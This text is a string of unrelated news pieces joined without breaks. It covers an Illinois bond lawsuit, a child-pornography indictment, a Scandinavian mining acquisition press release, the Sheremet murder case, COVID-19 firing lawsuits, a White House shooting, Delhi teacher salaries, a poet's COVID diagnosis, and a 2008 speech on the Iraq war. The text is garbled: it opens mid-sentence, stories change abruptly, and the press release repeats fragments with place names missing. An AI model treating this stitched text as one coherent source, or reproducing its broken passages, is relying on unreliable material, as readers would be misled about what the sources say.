two-year budget impasse. At the time the suit was filed, roughly $14.35 billion of those bond issuances remained outstanding. In August, Sangamon County Circuit Judge Jack Davis II denied Tillmans petition, citing a 1927 case that said courts are not required to consider petitions based on allegations that are vague, conclusory, or irrelevant. Tillmans proposed complaint is chock-full of conclusory and argumentative statements describing the financial condition of the state that are irrelevant and which the court must disregard, Davis wrote in his opinion. Indeed, it resembles far more of a political stump speech than it does a legal pleading. In its ruling Thursday, however, the appellate court relied on a different precedent that says suits can only be denied if they are frivolous or malicious, or that a filing of the complaint is otherwise unjustified. Tillmans complaint sets forth a colorable reading of the Illinois Constitution that does not appear to be frivolous on its face, the appellate court said. While we express no opinion on the ultimate merits of Tillmans claims, we conclude that the petition and complaint state reasonable grounds for filing suit. The court sent the case back to Sangamon County for reconsideration, although the state has the option of appealing to the Illinois Supreme Court. Attorney General Kwame Raouls office did not immediately say whether it plans to appeal. In a statement Monday, Moodys Investor Service, one of three credit rating agencies that rate Illinois bonds, called the courts decision credit negative for the state. We still view an ultimate ruling in favor of the plaintiff as highly unlikely, in view of the states constitutional power to borrow for statutorily defined needs, Moodys said in Mondays Credit Outlook. Moreover, a court-ordered debt service disruption would harm bondholders and other parties, as well as the states capital market access, while providing comparatively little benefit to the plaintiff or other parties. Moodys currently rates Illinois bonds as Bbb3 with a negative outlook, the lowest investment-grade rating available. A Moodys spokesman noted in an email that a declaration of a credit positive or credit negative event is not the same as a rating or outlook change it only indicates the impact that a distinct event or development could have as one of many credit factors affecting the issuer. Gov. JB Pritzkers press secretary Jordan Abudayyeh said in an email Monday that the two bond issues in question went through extensive legal review and were approved both by bond counsel and then-Attorney General Lisa Madigan. This lawsuit continues to be a tired tactic of the extreme right who continue to push their ideology over sound fiscal policy, she said. This administration will continue to focus on the important work of acting responsibly to keep the state on stable fiscal footing. Bowman-Raines, who was living at Fort Campbell but had his address on a drivers license listed as Crystal Creek Road in Morganton, consented to an interview with investigators. He admitted to possessing and distributing child pornography as well as managing the social media accounts associated with his email address, the court documents said. He also told investigators that he traded those images for other types of pornography. He was indicted on three counts of distribution of child pornography and one count of possession of child pornography. The indictment was filed June 17, court documents said. Bowman-Raines arrest came along with five others related to child exploitation cases in Kentucky, according to a release from the U.S. Attorneys Office for the Western District of Kentucky. The threat to our kids is very real and growing during this pandemic, U.S. Attorney Russell Coleman said in the release. In Kentucky though, I could not be more proud of how law enforcement is working with a singularity of purpose across multiple agencies to protect our most vulnerable. TSX-V: NDR VANCOUVER, BC, Aug. 11, 2020 /PRNewswire/ - New Dimension Resources Ltd. (TSXV: NDR) (the "Company", New Dimension" or "NDR") is pleased to announce that it has now cemented its diversification strategy by executing an option and purchase agreement with EMX Royalty Corporation (NYSE American: EMX; TSX Venture: EMX) for the acquisition of 100% interests in the Southern Gold Line Project in central Sweden, and the Lkken and Kjli copper-zinc-gold projects in central Norway (Figure 1). The Southern Gold Line project consists of a group of licences adjacent to Dragon Mining Limited's Faboliden gold development project, whilst the Lkken and Kjli licences cover both past-producing, high-grade copper(-zinc-gold) mines as well as drill-ready regional exploration targets. Highlights of the Acquisition New Dimension to acquire 100% interests in three advanced-stage Scandinavian projects: the Southern Gold Line project in central Sweden , and the Lkken and Kjli projects in central Norway . , and the Lkken and Kjli projects in central . The Southern Gold Line project forms a group of licences surrounding the Faboliden gold development project, and hosts both orogenic-style gold mineralization along granite-greenstone contacts as well as intrusion-related gold mineralization (Figure 2). Lkken and Kjli are copper-rich, volcanogenic massive sulfide("VMS")-style projects. The past-producing Lkken mine (production ended in 1987) was known as one of the premier examples of a Cyprus -type copper-rich VMS deposit, with historical production estimated at 24Mt @ 2.3% Cu + 1.8% Zn (plus gold credits) 1 . Kjli is located in the productive Rros mining district, which forms part of the renowned Rros-Tynset-Folldal belt of VMS deposits in central Norway (Figures 3-5). -type copper-rich VMS deposit, with historical production estimated at 24Mt @ 2.3% Cu + 1.8% Zn (plus gold credits) . Kjli is located in the productive Rros mining district, which forms part of the renowned Rros-Tynset-Folldal belt of VMS deposits in central (Figures 3-5). Significant upside potential for new discoveries in all properties, including "brownfields" discoveries around known mineral deposits and "greenfields" discoveries in satellite bodies. Both Sweden and Norway offer stable mining jurisdictions with competitive operating costs. and offer stable mining jurisdictions with competitive operating costs. Potential funding to be raised as announced August 6, 2020 will be primarily used to advance these properties to drill-ready status. Eric Roth, New Dimension's CEO, commented today: "I am very pleased to be reporting the acquisition of these three highly-prospective gold and copper properties in Sweden and Norway from EMX. The Southern Gold Line represents a highly underexplored extension of the Swedish Gold Line, and our focus here will be to advance targets hosting gold mineralization in similar geologic and structural settings to the adjacent Faboliden deposit. At both Lkken and Kjli, we are excited by the potential for new discovery given that VMS deposits typically occur in clusters and existing geological and geophysical datasets suggest numerous untested anomalies along strike from previous mining operations. Indeed, some of these anomalies represent "walk-up" drill targets for the Company and we look forward to drilling these as quickly as possible. I look forward to keeping the market informed as we move towards drilling on all three projects". 1 Historic production values quoted for Lkken are from Grenne T, Ihlen PM, Vokes FM (1999) Scandinavian Caledonide metallogeny in a plate-tectonic perspective. Mineral Deposita 34:422471, Neither NDR or EMX have performed sufficient work to verify the published data reported above, but both Companies believe this information to be considered reliable and relevant. Link to figures: https://newdimensionresources.com/site/assets/files/13220/2020-08-scandinavia-acquisition.pdf Acquisition Terms for 100% Interest in the Southern Gold Line, Lkken and Kjli Projects New Dimension will pay EMX USD 25,000 in cash upon signing. in cash upon signing. Upon completion of all on-site Due Diligence (expected by September 1, 2020 ), an initial 12-month option period will begin, and the Company will issue EMX 3 million common shares of NDR. ), an initial 12-month option period will begin, and the Company will issue EMX 3 million common shares of NDR. During the initial option period ( September 1, 2020 to September 1, 2021 ), New Dimension will be required to invest a minimum of USD 100,000 in exploration in each of the three projects. to ), New Dimension will be required to invest a minimum of in exploration in each of the three projects. Until NDR has completed financings to the value of CAD 4,500,000 , EMX will retain a free-carried 9.9% shareholding in NDR. Afterwards, EMX retains the option to participate in future financings at its own discretion. , EMX will retain a free-carried 9.9% shareholding in NDR. Afterwards, EMX retains the option to participate in future financings at its own discretion. During the second year from signing ( September 1, 2021 to September 1, 2022 ), NDR will be required to invest a minimum of USD 500,000 on all three projects. During subsequent years, NDR will be required to drill a minimum of 1,000m on each project. to ), NDR will be required to invest a minimum of on all three projects. During subsequent years, NDR will be required to drill a minimum of on each project. From the second anniversary of signing ( September 1, 2022 ), NDR will be required to make advanced royalty payments to EMX of USD 25,000 per project, increasing USD 5,000 /year up until reaching a maximum of USD 75,000 /year per project. ), NDR will be required to make advanced royalty payments to EMX of per project, increasing /year up until reaching a maximum of /year per project. NDR to make additional payments of USD 500,000 to EMX upon: to EMX upon: The filing of a Preliminary Economic Assessment technical report The filing of a National Instrument 43-101 ("NI-43101) complaint feasibility study EMX to retain a 2.5% NSR in the projects, with 0.5% being purchasable for USD 1M within 6 years Scandinavian Project Overview Lkken Project, Norway. Lkken is considered to be the largest ophiolite-hosted Cypress-type VMS deposit to be developed in the world. Production at Lkken commenced in 1654 and continued until closure in 1987, producing some 24Mt @ 2.3% Cu and 1.8% Zn (plus gold credits)1, with multiple satellite bodies of mineralization that also saw varying degrees of development. Several zones of drill defined mineralization remain undeveloped in the district, where clear evidence is seen for mineralization developed in multiple stratigraphic horizons and along strike of the major deposits. Historic data sets also include extensive geophysical surveys, with multiple untested anomalies. The Lkken concessions cover approximately 210 square kilometers (21,000 Ha) of prospective stratigraphy along strike from the former mining operations. Both Lkken and Kjli (see description below) are part of a broader geologic terrain that was originally linked geologically to the VMS districts in Newfoundland-New Brunswick-Maine and the Appalachian Mountains of North America. This terrain constitutes one of the most prolific VMS belts in the world. Kjli Project, Norway. Like the Lkken District, the Kjli Project represents an extensive trend of VMS-type occurrences and historic mines. Kjli is positioned along the northern extension of the belt of VMS deposits in Norway that comprise the greater Rros district, which as seen mining for over 300 years beginning in the mid-1600's. The Kjli project contains the Killingdal mine, which operated 1674-1986 and produced over 2.9 Mt @ 1.7% Cu + 5.5% Zn2. Recent airborne geophysical surveys identified numerous exploration targets on the Kjli project that have not yet been followed up. The Kjoli Project covers an area of approximately 120 square kilometres (12,000 Ha). 2 Historic production figures are from Birkeland, A. (1986) Mineralogisk og geokjemisk undersokelseav Killingdal gruver, Sor-Trondelag. M. Scient. Thesis, University of Oslo in Geological Survey of Finland, Special Paper 53 pg. 86. Southern Gold Line, Sweden. The Southern Gold Line project is located in central Sweden and consists of six prospective licenses in the vicinity of, and along trend of, Dragon Mining Ltd's Faboliden development project3. The Southern Gold Line Project consists of over 500 square kilometres (50,000 hectares) of exploration concessions which cover areas with similar geologic and structural settings as the Faboliden deposit. Reconnaissance sampling and mapping programs are ongoing in the area, with initial BLEG samples collected across portions of the licenses showing multiple areas with enrichment of gold in stream sediments. 3 References made to nearby mines and analogous deposits provide context for the Southern Gold Line project, but are not necessarily indicative that the project hosts similar tonnages or grades of mineralization. Qualified Persons and Disclosure Statement The technical information in this news release has been prepared in accordance with Canadian regulatory requirements set out in NI 43-101, and approved by Eric Roth, the Company's President & CEO, a director and a Qualified Person under NI 43-101. Mr. Roth holds a Ph.D. in Economic Geology from the University of Western Australia, is a Fellow of the Australian Institute of Mining and Metallurgy (AusIMM), and is a Fellow of the Society of Economic Geologists (SEG). Mr. Roth has over 25 years of experience in international minerals exploration and mining project evaluation. On Behalf of the Board of New Dimension Resources Ltd. "Eric Roth" ___________________________ Eric Roth, Ph.D., FAusIMM President & CEO About New Dimension Resources New Dimension is engaged in the acquisition, exploration, and development of quality mineral resource properties in favourable jurisdictions with a focus on high-grade gold and base metal deposits. The Company's current focus is on the discovery through exploration and discovery of high-grade gold deposits on its newly-acquired Southern Gold Line Project (Sweden), as well as on its existing 100%-owned Savant Lake project in Ontario and 29.6% interest in the Domain JV in Manitoba (Canada). In addition, the Company has acquired a 100% interest in two large properties covering the past-producing Lkken and Kjli copper-rich massive sulfide deposits in central Norway. Cautionary Notes and Forward-looking Statements This news release contains forward-looking information within the meaning of applicable securities legislation. Forward-looking information is typically identified by words such as: believe, expect, anticipate, intend, estimate, postulate and similar expressions, or are those, which, by their nature, refer to future events. Such statements include, without limitation, statements regarding the future results of operations, performance and achievements of New Dimension, including the timing, completion of and results from the exploration and drill programs described in this release. Although the Company believes that such statements are reasonable, it can give no assurances that such expectations will prove to be correct. All such forward-looking information is based on certain assumptions and analyses made by New Dimension in light of their experience and perception of historical trends, current conditions and expected future developments, as well as other factors management believes are appropriate in the circumstances. This information, however, is subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking information. Important factors that could cause actual results to differ from this forward-looking information include those described under the heading "Risks and Uncertainties" in New Dimension's most recently filed MD&A. New Dimension does not intend, and expressly disclaims any obligation to, update or revise the forward-looking information contained in this news release, except as required by law. Readers are cautioned not to place undue reliance on forward-looking information. Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release. SOURCE New Dimension Resources Ltd. Related Links www.newdimensionresources.com KYIV -- A court in Kyiv has ruled to transfer one of the suspects in the high-profile 2016 killing in the Ukrainian capital of journalist Pavel Sheremet from a detention center to house arrest. The Kyiv Court of Appeals on August 11 ruled that Yulia Kuzmenko, a pediatric surgeon, who has been in pretrial detention since December, can be placed under round-the-clock house arrest. Last month, the same court eased pretrial restrictions for another suspect in the high-profile case, a military paramedic, Yana Duhar. The court agreed to lift curfew restrictions for Duhar and said that she no longer needed to wear an electronic monitoring bracelet. The third suspect in the case, Andriy Antonenko, remains in a detention center. Vladyslav and Inna Hryshchenko, a married couple who are suspected in another unrelated case, have been declared persons of interest in the case. All five took part in military operations in different capacities in Ukraine's east, where government forces are fighting against Russia-backed separatists. The Interior Ministry and the National Police said in December that the group's goal was "to destabilize the political and social situation in Ukraine" by killing Sheremet. Sheremet, a Belarusian-born Russian citizen who had made Kyiv his permanent home, was leaving his apartment to head to the studio where he hosted a morning radio program when an improvised explosive device planted under his vehicle exploded on July 20, 2016, killing him. Duhar, Antonenko, and Kuzmenko were arrested in December as suspects in the case. Analysts said Sheremet's killing underscored concerns of a climate of impunity for attacks on journalists and others who challenge the authorities, while the government has faced persistent criticism over a perceived lack of progress in solving the case. In January, the Ukrainian Prosecutor-General's Office said additional evidence was needed for the Sheremet murder case to go to trial. Sheremet's mother, Lyudmila Sheremet, told RFE/RL in December that she does not know if the suspects are guilty or not, but that she is afraid "that innocent people may be hurt" as officials try to show they're making headway in the case. Two Lion & Rose British Restaurant & Pub employees allege in federal lawsuits that they were terminated after experiencing COVID-19 symptoms. One claims he was fired after seeking sick pay while the other says he received a pink slip for taking time off to get tested. Regardless of whether a worker has the coronavirus, federal law requires certain employers to provide sick leave if a worker experiences symptoms of the virus and seeks a medical diagnosis. The lawsuits were brought by general manager Gary Bruce and bartender Michael Summers against the business and owner Allen Tharp. The restaurant is at the Rim at 17627 La Cantera. The Lion & Rose operates its restaurant and bar in compliance with all legal requirements, Tharp said in an email. We do not comment on pending litigation, but look forward to vindicating ourselves in court. Courtesy On ExpressNews.com: San Antonio nursing home accused of negligence, retaliation Filed Monday in U.S. District Court in San Antonio, the complaints seek unspecified financial damages, lost wages and benefits, attorney fees and court costs. These may be the first actions filed in San Antonio by employees who claim they were fired after reporting COVID-19 symptoms. Weve got a couple more coming, said San Antonio attorney Michael V. Galo Jr., who represents both men. Most employers, it seems to me, are very caring, concerned, and are doing the right thing. But we are seeing some instances where employers, for whatever reason, are firing people for having COVID. Bruce alleges in his complaint that he experienced COVID-19 symptoms about July 8 after two coworkers tested positive for the virus. He went for testing and was subject to quarantine for 10 days while he awaited the results. JUANITO M GARZA, STAFF / San Antonio Express-News Bruce was later cleared to return to work after he was diagnosed with an ear infection. When he received his paycheck, the suit says, he was discouraged to see that he was not paid for sick leave as he was entitled under the Emergency Paid Sick Leave Act, which is part of the Families First Coronavirus Response Act. Under the law, workers can receive up to 80 hours of paid sick leave if they have COVID-19 symptoms and are seeking a diagnosis. The law generally applies to private employers with fewer than 500 workers. The FFCRA helps the United States combat the workplace effects of COVID-19 by reimbursing employers with tax credits for the cost of providing workers with paid leave taken for reasons related to COVID-19, the U.S. Labor Department says on its website. Bruce complained to Tharp about not getting sick pay. Tharps response was, I dont have to pay you. I will pay you when you work, the suit says. On July 26, citing pretextual reasons, Tharp fired Bruce, the suit adds. Bruce called his termination illegal. Google SA Inc.: Get the best of business news sent directly to your inbox In Summers complaint, he says he learned July 3 that a coworker he had been in close contact with had tested positive for the virus. Summers contacted his supervisor to request time off but initially was told to report to work. Summers questioned the instruction because the coworker had been told to quarantine. Others who had been in close contact with the coworker also were advised to quarantine, the suit says. So Summer reached out to another supervisor for clarification. When he spoke to this second supervisor, he was informed thatTharp had stated that (Summers) and the (coworker) were faking it to get the Fourth of July weekend off, the suit says. Tharp ultimately instructed Summers not to report to work. Tharp, according to the suit, told his managers to advise other employees who had concerns about reporting to work that Summers and the coworker did not actually test positive. Summers did not report to work July 4. Instead, he went for a COVID-19 test, which revealed that he had the virus. The next day, he learned from a supervisor that his employment had been terminated. Summers says he confronted Tharp about his termination and failure to maintain a safe workplace. Tharp falsely denied that he had previously given the order to fire (Summers) but stated (he) was now terminated, the suit says. (Tharp) has given false reasons for (Summers) termination. The undeniable truth is that (Summers) was terminated because he requested time off to quarantine and test. The FFCRA has an anti-retaliation provision that both Bruce and Summers have cited in their lawsuits, said Galo, their attorney. When you say, Ive got COVID, or Ive got the symptoms of COVID, or I want to go get tested, the employer cant fire you for that, Galo said. Thats considered retaliation, and so that would be a violation. A violating employer would be subject to the same damages that are available in an anti-retaliation lawsuit brought under the Fair Labor Standards Act, Galo added. Patrick Danner Patrick Danner covers banking, insurance, business litigation and bankruptcies. To read more from Patrick, become a subscriber. pdanner@express-news.net | Twitter: @AlamoPD Monday's coronavirus briefing at the White House was abruptly interrupted as members of the Secret Service escorted US President Trump away from the briefing room following a shooting just outside the White House. In a statement right after the incident, Trump narrated what he knew and said the shooting seemed to have been done by law enforcement. He further specified that there was an armed person outside the White House who was shot by a member of the Secret Service. He also added that the person has already been taken to the hospital. Later that day, the Secret Service posted a tweet confirming the involvement of one of its officers in a shooting that happened at 17th Street and Pennsylvania Ave, an intersection that lies right outside the White House grounds. It was also stated in the tweet that law enforcers immediately rushed to the scene. The Secret Service can confirm there has been an officer involved shooting at 17th Street and Pennsylvania Ave. Law enforcement officials are on the scene. More information to follow. U.S. Secret Service (@SecretService) August 10, 2020 In addition, the Associated Press also reported that the Secret Service has specified that both a USSS officer and a male subject were taken to a nearby hospital. They also emphasized that the White House was not breached at any time during the incident and that no protectees were in danger. Also noting that an investigation regarding the encounter is still ongoing. According to a source from law enforcement, the wounds that the male subject sustained during the officer-involved shooting were non-fatal. Read also: Trump Says Unemployed People Will Get Enhanced Benefits Without States Paying Part of the Cost Securing the President Amid the coronavirus press briefing that just began shortly, a person who appeared to be a secret service agent went up to the podium to tell Trump that there have been shots fired just outside the White House. The officer then escorted the president from the room. Meanwhile, John Roberts of Fox News who was present during the briefing reported that he has heard gunshots outside the White House at the beginning of the briefing. Shortly after being escorted out, the president returned to the podium and informed everyone present of what took place just outside the fence of the White House grounds. He also added that more information would be given later. Furthermore, Trump said that he was only taken into the Oval Officer in the White House and not down to the bunker. On the other hand, a reported asked the president if he was rattled because of the incident, to which Trump immediately replied, "Do I seem rattled?" The president then immediately moved to discuss other issues involving the coronavirus crisis and the current situation of the economy. Based on several sources, no threat is believed to have been directed to the Capitol after the incident in the White House. However, despite the reassurance that there was no breach, the press was directed to stay in the briefing room after the remarks of the president since the whole White House was still on lockdown. The said lockdown was lifted at only around 7:30 PM. In light of the incident, White House officials and Trump's daughter, Ivanka Trump, thanked the Secret Service through Twitter. Related article: Donald Trump Denies Claims Russia is Helping Him Win Elections, Says China is Vouching for Joe Biden @ 2022 HNGN, All rights reserved. Do not reproduce without permission. The Delhi government has submitted before the Delhi High Court that it has sanctioned and released the second instalment of grant-in-aid in favour of North Delhi Municipal Corporation amounting to 98.35 crore towards the salaries of primary school teachers for the months of July and August, 2020. The Government of NCT Delhi made the submission in an affidavit filed before the High Court on a suo motu matter related to the payment of salaries of school teachers at the North Delhi Municipal Corporation. A division bench of Justice Hima Kohli and Justice Subramonium Prasad, after hearing the submissions, directed North DMC to ensure that salaries of the teachers, which are due, are released at the earliest. Besides the Grant-in-Aid received from the Delhi Government, North DMC shall also chip in by making funds available for paying the salaries of teachers teaching in schools being run by it. A fresh status report shall be filed by the North DMC within two weeks, with a copy to the counsel for the GNCTD, the bench said in its order on August 7. Delhi government, in its affidavit, also said that it has permitted the North DMC to utilise the unspent balance of the previous year which comes to 18.07 crore for the same purpose, subject to the conditions mentioned in the sanction letter dated July 27, 2020. Advocate Pushkarna, standing counsel for the North DMC, sought more time to file a status report in the matter submitting that it could not be filed as Deputy Controller (Accounts) has tested positive for COVID-19, and as a result, his colleagues and others have quarantined themselves. Earlier, the Delhi High Court had asked the Delhi government and the North Delhi Municipal Corporation (DMC) to file fresh status reports to update it on the status of the release of funds and salaries of the North DMC school teachers. Indore: Famous Urdu poet Rahat Indori has tested positive for COVID-19 in Madhya Pradeshs Indore. Indori, 70, who is quite active on social media, made the news public via his Twitter handle on Tuesday morning. After showing initial Covid19 symptoms, I was tested for the virus on Monday and I am declared positive for the virus today and have been admitted to Aurobindo hospital, Indori posted. He asked his followers and fans to wish him a speedy recovery, and urged them to not call his family to enquire about his well-being. He said all updates about his health will be reported through Twitter and Facebook. His son Stalaj Indori confirmed the reports of his father testing positive and said the condition of the veteran poet is stable. Indori is a well-known Urdu poet and is also known to express his views on socio-political scenarios in the country. Months ago, when a team of physicians was attacked by locals in Indore during a health examination, Indori was most vocal in criticising the incident and slammed the Muslim community for engaging in such an act. He has been persistently urging Muslims to co-operate with the health staff and administration during the pandemic. Indore, which was among top 10 worst coronavirus affected districts in India but started showing signs of recovery, again reported 208 fresh cases on Monday. [Elections 2008: On War] Just before Americas entry into World War I, President Woodrow Wilson addressed Congress: It is a fearful thing to lead this great peaceful people into war, he said. ...But the right is more precious than peace. Wilsons words captured two awesome responsibilities that test any Commander-in-Chief to never hesitate to defend America, but to never go to war unless you must. War is sometimes necessary, but it has grave consequences, and the judgment to go to war can never be undone. Five years ago today, President George W. Bush addressed the nation. Bombs had started to rain down on Baghdad. War was necessary, the President said, because the United States could not, live at the mercy of an outlaw regime that threatens the peace with weapons of mass murder. Recalling the pain of 9/11, he said the price of inaction in Iraq was to meet the threat with armies of fire fighters and police and doctors on the streets of our cities. At the time the President uttered those words, there was no hard evidence that Iraq had those stockpiles of weapons of mass destruction. There was not any evidence that Iraq was responsible for the attacks of September 11, or that Iraq had operational ties to the al Qaeda terrorists who carried them out. By launching a war based on faulty premises and bad intelligence, President Bush failed Wilsons test. So did Congress when it voted to give him the authority to wage war. Five years have gone by since that fateful decision. This war has now lasted longer than World War I, World War II, or the Civil War. Nearly four thousand Americans have given their lives. Thousands more have been wounded. Even under the best case scenarios, this war will cost American taxpayers well over a trillion dollars. And where are we for all of this sacrifice? We are less safe and less able to shape events abroad. We are divided at home, and our alliances around the world have been strained. The threats of a new century have roiled the waters of peace and stability, and yet America remains anchored in Iraq. History will catalog the reasons why we waged a war that didnt need to be fought, but two stand out. In 2002, when the fateful decisions about Iraq were made, there was a President for whom ideology overrode pragmatism, and there were too many politicians in Washington who spent too little time reading the intelligence reports, and too much time reading public opinion. The lesson of Iraq is that when we are making decisions about matters as grave as war, we need a policy rooted in reason and facts, not ideology and politics. Now we are debating who should be our next Commander in Chief. And I am running for President because its time to turn the page on a failed ideology and a fundamentally flawed political strategy, so that we can make pragmatic judgments to keep our country safe. Thats what I did when I stood up and opposed this war from the start, and said that we needed to finish the fight against al Qaeda. And thats what Ill do as President of the United States. Senator Clinton says that she and Senator McCain have passed a Commander in Chief test not because of the judgments theyve made, but because of the years theyve spent in Washington. She made a similar argument when she said her vote for war was based on her experience at both ends of Pennsylvania Avenue. But here is the stark reality: there is a security gap in this country a gap between the rhetoric of those who claim to be tough on national security, and the reality of growing insecurity caused by their decisions. A gap between Washington experience, and the wisdom of Washingtons judgments. A gap between the rhetoric of those who tout their support for our troops, and the overburdened state of our military. It is time to have a debate with John McCain about the future of our national security. And the way to win that debate is not to compete with John McCain over who has more experience in Washington, because thats a contest that hell win. The way to win a debate with John McCain is not to talk, and act, and vote like him on national security, because then we all lose. The way to win that debate and to keep America safe is to offer a clear contrast, and thats what I will do when I am the nominee of the Democratic Party because since before this war in Iraq began, I have made different judgments, I have a different vision, and I will offer a clean break from the failed policies and politics of the past. Nowhere is that break more badly needed than in Iraq. In the year since President Bush announced the surge the bloodiest year of the war for America the level of violence in Iraq has been reduced. Our troops including so many from Fort Bragg and Pope Air Force Base have done a brilliant job under difficult circumstances. Yet while we have a General who has used improved tactics to reduce violence, we still have the wrong strategy. As General Petraeus has himself acknowledged, the Iraqis are not achieving the political progress needed to end their civil war. Beyond Iraq, our military is badly overstretched, and we have neither the strategy nor resources to deal with nearly every other national security challenge we face. This is why the judgment that matters most on Iraq and on any decision to deploy military force is the judgment made first. If you believe we are fighting the right war, then the problems we face are purely tactical in nature. That is what Senator McCain wants to discuss tactics. What he and the Administration have failed to present is an overarching strategy: how the war in Iraq enhances our long-term security, or will in the future. Thats why this Administration cannot answer the simple question posed by Senator John Warner in hearings last year: Are we safer because of this war? And that is why Senator McCain can argue as he did last year that we couldnt leave Iraq because violence was up, and then argue this year that we cant leave Iraq because violence is down. When you have no overarching strategy, there is no clear definition of success. Success comes to be defined as the ability to maintain a flawed policy indefinitely. Here is the truth: fighting a war without end will not force the Iraqis to take responsibility for their own future. And fighting in a war without end will not make the American people safer. So when I am Commander-in-Chief, I will set a new goal on Day One: I will end this war. Not because politics compels it. Not because our troops cannot bear the burden as heavy as it is. But because it is the right thing to do for our national security, and it will ultimately make us safer. In order to end this war responsibly, I will immediately begin to remove our troops from Iraq. We can responsibly remove 1 to 2 combat brigades each month. If we start with the number of brigades we have in Iraq today, we can remove all of them 16 months. After this redeployment, we will leave enough troops in Iraq to guard our embassy and diplomats, and a counter-terrorism force to strike al Qaeda if it forms a base that the Iraqis cannot destroy. What I propose is not and never has been a precipitous drawdown. It is instead a detailed and prudent plan that will end a war nearly seven years after it started. My plan to end this war will finally put pressure on Iraqs leaders to take responsibility for their future. Because weve learned that when we tell Iraqs leaders that well stay as long as it takes, they take as long as they want. We need to send a different message. We will help Iraq reach a meaningful accord on national reconciliation. We will engage with every country in the region and the UN to support the stability and territorial integrity of Iraq. And we will launch a major humanitarian initiative to support Iraqs refugees and people. But Iraqis must take responsibility for their country. It is precisely this kind of approach an approach that puts the onus on the Iraqis, and that relies on more than just military power that is needed to stabilize Iraq. Let me be clear: ending this war is not going to be easy. There will be dangers involved. We will have to make tactical adjustments, listening to our commanders on the ground, to ensure that our interests in a stable Iraq are met, and to make sure that our troops are secure. Senator Clinton has tried to use my position to score political points, suggesting that I am somehow less committed to ending the war. She makes this argument despite the fact that she has taken the same position in the past. So ask yourself: who do you trust to end a war someone who opposed the war from the beginning, or someone who started opposing it when they started preparing a run for President? Now we know what well hear from those like John McCain who support open-ended war. They will argue that leaving Iraq is surrender. That we are emboldening the enemy. These are the mistaken and misleading arguments we hear from those who have failed to demonstrate how the war in Iraq has made us safer. Just yesterday, we heard Senator McCain confuse Sunni and Shiite, Iran and al Qaeda. Maybe that is why he voted to go to war with a country that had no al Qaeda ties. Maybe that is why he completely fails to understand that the war in Iraq has done more to embolden Americas enemies than any strategic choice that we have made in decades. The war in Iraq has emboldened Iran, which poses the greatest challenge to American interests in the Middle East in a generation, continuing its nuclear program and threatening our ally, Israel. Instead of the new Middle East we were promised, Hamas runs Gaza, Hizbollah flags fly from the rooftops in Sadr City, and Iran is handing out money left and right in southern Lebanon. The war in Iraq has emboldened North Korea, which built new nuclear weapons and even tested one before the Administration finally went against its own rhetoric, and pursued diplomacy. The war in Iraq has emboldened the Taliban, which has rebuilt its strength since we took our eye off of Afghanistan. Above all, the war in Iraq has emboldened al Qaeda, whose recruitment has jumped and whose leadership enjoys a safe-haven in Pakistan a thousand miles from Iraq. The central front in the war against terror is not Iraq, and it never was. What more could Americas enemies ask for than an endless war where they recruit new followers and try out new tactics on a battlefield so far from their base of operations? That is why my presidency will shift our focus. Rather than fight a war that does not need to be fought, we need to start fighting the battles that need to be won on the central front of the war against al Qaeda in Afghanistan and Pakistan. This is the area where the 9/11 attacks were planned. This is where Osama bin Laden and his top lieutenants still hide. This is where extremism poses its greatest threat. Yet in both Afghanistan and Pakistan, we have pursued flawed strategies that are too distant from the needs of the people, and too timid in pursuit of our common enemies. It may not dominate the evening news, but in Afghanistan, last year was the most deadly since 2001. Suicide attacks are up. Casualties are up. Corruption and drug trafficking are rampant. Neither the government nor the legal economy can meet the needs of the Afghan people. It is not too late to prevail in Afghanistan. But we cannot prevail until we reduce our commitment in Iraq, which will allow us to do what I called for last August providing at least two additional combat brigades to support our efforts in Afghanistan. This increased commitment in turn can be used to leverage greater assistance with fewer restrictions from our NATO allies. It will also allow us to invest more in training Afghan security forces, including more joint NATO operations with the Afghan Army, and a national police training plan that is effectively coordinated and resourced. A stepped up military commitment must be backed by a long-term investment in the Afghan people. We will start with an additional $1 billion in non military assistance each year aid that is focused on reaching ordinary Afghans. We need to improve daily life by supporting education, basic infrastructure and human services. We have to counter the opium trade by supporting alternative livelihoods for Afghan farmers. And we must call on more support from friends and allies, and better coordination under a strong international coordinator. To succeed in Afghanistan, we also need to fundamentally rethink our Pakistan policy. For years, we have supported stability over democracy in Pakistan, and gotten neither. The core leadership of al Qaeda has a safe-haven in Pakistan. The Taliban are able to strike inside Afghanistan and then return to the mountains of the Pakistani border. Throughout Pakistan, domestic unrest has been rising. The full democratic aspirations of the Pakistani people have been too long denied. A child growing up in Pakistan, more often than not, is taught to see America as a source of hate not hope. This is why I stood up last summer and said we cannot base our entire Pakistan policy on President Musharraf. Pakistan is our ally, but we do our own security and our ally no favors by supporting its President while we are seen to be ignoring the interests of the people. Our counter-terrorism assistance must be conditioned on Pakistani action to root out the al Qaeda sanctuary. And any U.S. aid not directly needed for the fight against al Qaeda or to invest in the Pakistani people should be conditioned on the full restoration of Pakistans democracy and rule of law. The choice is not between Musharraf and Islamic extremists. As the recent legislative elections showed, there is a moderate majority of Pakistanis, and they are the people we need on our side to win the war against al Qaeda. That is why we should dramatically increase our support for the Pakistani people for education, economic development, and democratic institutions. That child in Pakistan must know that we want a better life for him, that America is on his side, and that his interest in opportunity is our interest as well. Thats the promise that America must stand for. And for his sake and ours, we cannot tolerate a sanctuary for terrorists who threaten Americas homeland and Pakistans stability. If we have actionable intelligence about high-level al Qaeda targets in Pakistans border region, we must act if Pakistan will not or cannot. Senator Clinton, Senator McCain, and President Bush have all distorted and derided this position, suggesting that I would invade or bomb Pakistan. This is politics, pure and simple. My position, in fact, is the same pragmatic policy that all three of them have belatedly if tacitly acknowledged is one we should pursue. Indeed, it was months after I called for this policy that a top al Qaeda leader was taken out in Pakistan by an American aircraft. And remember that the same three individuals who now criticize me for supporting a targeted strike on the terrorists who carried out the 9/11 attacks, are the same three individuals that supported an invasion of Iraq a country that had nothing to do with 9/11. It is precisely this kind of political point-scoring that has opened up the security gap in this country. We have a security gap when candidates say they will follow Osama bin Laden to the gates of hell, but refuse to follow him where he actually goes. What we need in our next Commander in Chief is not a stubborn refusal to acknowledge reality or empty rhetoric about 3AM phone calls. What we need is a pragmatic strategy that focuses on fighting our real enemies, rebuilding alliances, and renewing our engagement with the worlds people. In addition to freeing up resources to take the fight to al Qaeda, ending the war in Iraq will allow us to more effectively confront other threats in the world - threats that cannot be conquered with an occupying army or dispatched with a single decision in the middle of the night. What lies in the heart of a child in Pakistan matters as much as the airplanes we sell her 